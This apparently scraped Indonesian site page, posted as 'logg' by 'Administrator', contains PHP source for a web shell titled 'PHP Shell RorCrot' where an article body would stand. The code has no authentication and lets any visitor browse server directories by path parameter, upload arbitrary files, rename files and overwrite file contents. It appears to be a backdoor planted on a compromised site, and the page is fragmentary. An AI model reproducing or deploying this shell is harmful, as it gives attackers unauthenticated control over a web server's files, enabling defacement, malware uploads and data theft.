logg
Penulis : Administrator
Terbit : 19 Agustus 2025
Dibaca : 210 Kali
$file,
'is_dir' => is_dir($path),
'size' => is_file($path) ? filesize($path) : '-',
'path' => $path
];
}
return $result;
}
function safePath($path) {
$real = realpath($path);
if ($real === false) return getcwd();
return $real;
}
// Handle actions
$cwd = isset($_GET['path']) ? safePath($_GET['path']) : getcwd();
$action = $_POST['action'] ?? '';
$response = '';
if ($action === 'upload' && isset($_FILES['file'])) {
$target = $cwd . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
$response = 'Upload sukses!';
} else {
$response = 'Upload gagal!';
}
}
if ($action === 'rename' && isset($_POST['old']) && isset($_POST['new'])) {
$old = $cwd . DIRECTORY_SEPARATOR . $_POST['old'];
$new = $cwd . DIRECTORY_SEPARATOR . $_POST['new'];
if (rename($old, $new)) {
$response = 'Rename sukses!';
} else {
$response = 'Rename gagal!';
}
}
if ($action === 'edit' && isset($_POST['file']) && isset($_POST['content'])) {
$file = $cwd . DIRECTORY_SEPARATOR . $_POST['file'];
if (file_put_contents($file, $_POST['content']) !== false) {
$response = 'Edit sukses!';
} else {
$response = 'Edit gagal!';
}
}
// Get files/folders
$items = getFiles($cwd);
// Breadcrumb
$parts = explode(DIRECTORY_SEPARATOR, $cwd);
$breadcrumbs = '';
$path = '';
foreach ($parts as $i => $part) {
if ($part === '') continue;
$path .= DIRECTORY_SEPARATOR . $part;
$breadcrumbs .= '
' . $part . ' / ';
}
// HTML & CSS & JS
?>
PHP Shell Interaktif
PHP Shell RorCrot
= $breadcrumbs ?>
= htmlspecialchars($response) ?>
KOMENTAR